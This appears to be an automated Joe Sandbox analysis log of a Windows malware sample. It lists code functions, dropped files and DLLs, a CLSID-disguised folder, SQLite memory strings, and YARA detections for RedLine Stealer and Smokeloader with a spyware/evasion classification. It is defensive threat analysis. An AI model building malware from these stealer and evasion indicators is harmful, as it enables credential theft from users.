Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00419B30	0_2_00419B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E35A0	0_2_6C7E35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8434A0	0_2_6C8434A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C84C4A0	0_2_6C84C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F5440	0_2_6C7F5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C80D4D0	0_2_6C80D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C826CF0	0_2_6C826CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C85AC00	0_2_6C85AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C825C10	0_2_6C825C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C832C10	0_2_6C832C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7ED4E0	0_2_6C7ED4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C85542B	0_2_6C85542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F64C0	0_2_6C7F64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C85545C	0_2_6C85545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F6C80	0_2_6C7F6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C820DD0	0_2_6C820DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8485F0	0_2_6C8485F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7FFD00	0_2_6C7FFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C80ED10	0_2_6C80ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C810512	0_2_6C810512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C84E680	0_2_6C84E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EC670	0_2_6C7EC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C805E90	0_2_6C805E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C844EA0	0_2_6C844EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8576E3	0_2_6C8576E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C835600	0_2_6C835600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EBEF0	0_2_6C7EBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7FFEF0	0_2_6C7FFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C827E10	0_2_6C827E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C849E30	0_2_6C849E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C804640	0_2_6C804640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C832E4E	0_2_6C832E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C809E50	0_2_6C809E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C823E50	0_2_6C823E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C856E63	0_2_6C856E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8377A0	0_2_6C8377A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C816FF0	0_2_6C816FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F9F00	0_2_6C7F9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C827710	0_2_6C827710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EDFE0	0_2_6C7EDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8160A0	0_2_6C8160A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8550C7	0_2_6C8550C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C80C0E0	0_2_6C80C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8258E0	0_2_6C8258E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F7810	0_2_6C7F7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82B820	0_2_6C82B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C834820	0_2_6C834820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C808850	0_2_6C808850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C80D850	0_2_6C80D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82F070	0_2_6C82F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C825190	0_2_6C825190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C842990	0_2_6C842990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7FD960	0_2_6C7FD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81D9B0	0_2_6C81D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C80A940	0_2_6C80A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EC9A0	0_2_6C7EC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C83B970	0_2_6C83B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C85B170	0_2_6C85B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C85BA90	0_2_6C85BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C814AA0	0_2_6C814AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C852AB0	0_2_6C852AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C828AC0	0_2_6C828AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C801AF0	0_2_6C801AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82E2F0	0_2_6C82E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7FCAB0	0_2_6C7FCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E22A0	0_2_6C7E22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C829A60	0_2_6C829A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7FC370	0_2_6C7FC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E5340	0_2_6C7E5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8553C8	0_2_6C8553C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82D320	0_2_6C82D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EF380	0_2_6C7EF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C88ECC0	0_2_6C88ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8EECD0	0_2_6C8EECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C956C00	0_2_6C956C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96AC30	0_2_6C96AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C89AC60	0_2_6C89AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C926D90	0_2_6C926D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C894DB0	0_2_6C894DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1CDC0	0_2_6CA1CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA18D20	0_2_6CA18D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BAD50	0_2_6C9BAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95ED70	0_2_6C95ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C916E90	0_2_6C916E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C89AEC0	0_2_6C89AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C930EC0	0_2_6C930EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C970E20	0_2_6C970E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C92EE70	0_2_6C92EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D8FB0	0_2_6C9D8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C89EFB0	0_2_6C89EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96EFF0	0_2_6C96EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C890FE0	0_2_6C890FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C896F10	0_2_6C896F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D0F20	0_2_6C9D0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8FEF40	0_2_6C8FEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C952F70	0_2_6C952F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9968E0	0_2_6C9968E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8E0820	0_2_6C8E0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C91A820	0_2_6C91A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C964840	0_2_6C964840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9509B0	0_2_6C9509B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9209A0	0_2_6C9209A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94A9A0	0_2_6C94A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AC9E0	0_2_6C9AC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8C49F0	0_2_6C8C49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8E6900	0_2_6C8E6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8C8960	0_2_6C8C8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90EA80	0_2_6C90EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93EA00	0_2_6C93EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C948A30	0_2_6C948A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90CA70	0_2_6C90CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C930BA0	0_2_6C930BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996BE0	0_2_6C996BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BA480	0_2_6C9BA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C92A4D0	0_2_6C92A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8D64D0	0_2_6C8D64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C91A430	0_2_6C91A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8F4420	0_2_6C8F4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8A8460	0_2_6C8A8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8845B0	0_2_6C8845B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C91E5F0	0_2_6C91E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95A5E0	0_2_6C95A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D8550	0_2_6C9D8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8E8540	0_2_6C8E8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994540	0_2_6C994540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C930570	0_2_6C930570
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_03327B92	6_2_03327B92
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_03336BCE	6_2_03336BCE
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_03324962	6_2_03324962
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_03325956	6_2_03325956
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_0332C95A	6_2_0332C95A
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_033298AA	6_2_033298AA
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_03334F9A	6_2_03334F9A
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_03325EE6	6_2_03325EE6
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_0333CCD2	6_2_0333CCD2
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FF62094C490	23_2_00007FF62094C490
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38A08D0	23_2_00007FFDA38A08D0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D2520	23_2_00007FFDA38D2520
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0AEFB0	23_2_00007FFDAC0AEFB0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0DCB60	23_2_00007FFDAC0DCB60
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0FEAF0	23_2_00007FFDAC0FEAF0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC1063E7	23_2_00007FFDAC1063E7
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC1304B0	23_2_00007FFDAC1304B0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC128D2B	23_2_00007FFDAC128D2B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC128E16	23_2_00007FFDAC128E16
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC128F5E	23_2_00007FFDAC128F5E
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC12904C	23_2_00007FFDAC12904C

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Windows\System32\icacls.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8B9B10 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA109D0 appears 140 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C81CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA1DAE0 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00402000 appears 287 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8294D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8B3620 appears 35 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFDAC0F1352 appears 398 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF620942EF2 appears 314 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFDAC0D20C2 appears 356 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFDA38940D2 appears 473 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFDA38CC852 appears 526 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFDAC0A9DC2 appears 405 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FFDAC1277A2 appears 388 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5012 -ip 5012

Source: 1kuzcKGx.23.dr	Static PE information: Number of sections : 11 > 10
Source: KXEmxT2p.23.dr	Static PE information: Number of sections : 11 > 10
Source: Lx9RtFcl.23.dr	Static PE information: Number of sections : 11 > 10
Source: S7evpAMe.23.dr	Static PE information: Number of sections : 11 > 10
Source: samctl.dll.23.dr	Static PE information: Number of sections : 11 > 10
Source: g29qQU9G.23.dr	Static PE information: Number of sections : 11 > 10
Source: evtsrv.dll.23.dr	Static PE information: Number of sections : 11 > 10
Source: h0yu5TYE.23.dr	Static PE information: Number of sections : 11 > 10
Source: BFCAAEHJDB.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: dwlmgr.dll.23.dr	Static PE information: Number of sections : 11 > 10
Source: FHLBnhuN.23.dr	Static PE information: Number of sections : 11 > 10
Source: cnccli.dll.23.dr	Static PE information: Number of sections : 11 > 10
Source: 7847438767[1].exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: prgmgr.dll.23.dr	Static PE information: Number of sections : 11 > 10
Source: libi2p.dll.23.dr	Static PE information: Number of sections : 11 > 10
Source: fJw4qvYl.23.dr	Static PE information: Number of sections : 11 > 10
Source: termsrv32.dll.23.dr	Static PE information: Number of sections : 11 > 10
Source: rdpctl.dll.23.dr	Static PE information: Number of sections : 11 > 10

Source: file.exe, 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2761930657.0000000002461000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesOdilesigo@ vs file.exe
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2781145830.000000003B860000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs file.exe
Source: file.exe, 00000000.00000002.2776697381.000000002F98F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs file.exe
Source: file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2788685435.000000006CA65000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamesOdilesigo@ vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2762173907.000000000249D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@43/76@2/35

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C847030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C847030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00411400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,FindCloseChangeNotification,

0_2_00411400

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00410900 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,VariantClear,

0_2_00410900

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 23_2_00007FF620942029 FindResourceA,LoadResource,GetLastError,GetLastError,GetLastError,GetLastError,

23_2_00007FF620942029

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 23_2_00007FF620941DBC strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

23_2_00007FF620941DBC

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 23_2_00007FF620941DBC strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

23_2_00007FF620941DBC

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199747278259[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6664:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5012
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\WERReportingForProcess1524
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6884:120:WilError_03

Source: C:\ProgramData\BFCAAEHJDB.exe

File created: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\ProgramData\BFCAAEHJDB.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2340604993.000000001B509000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
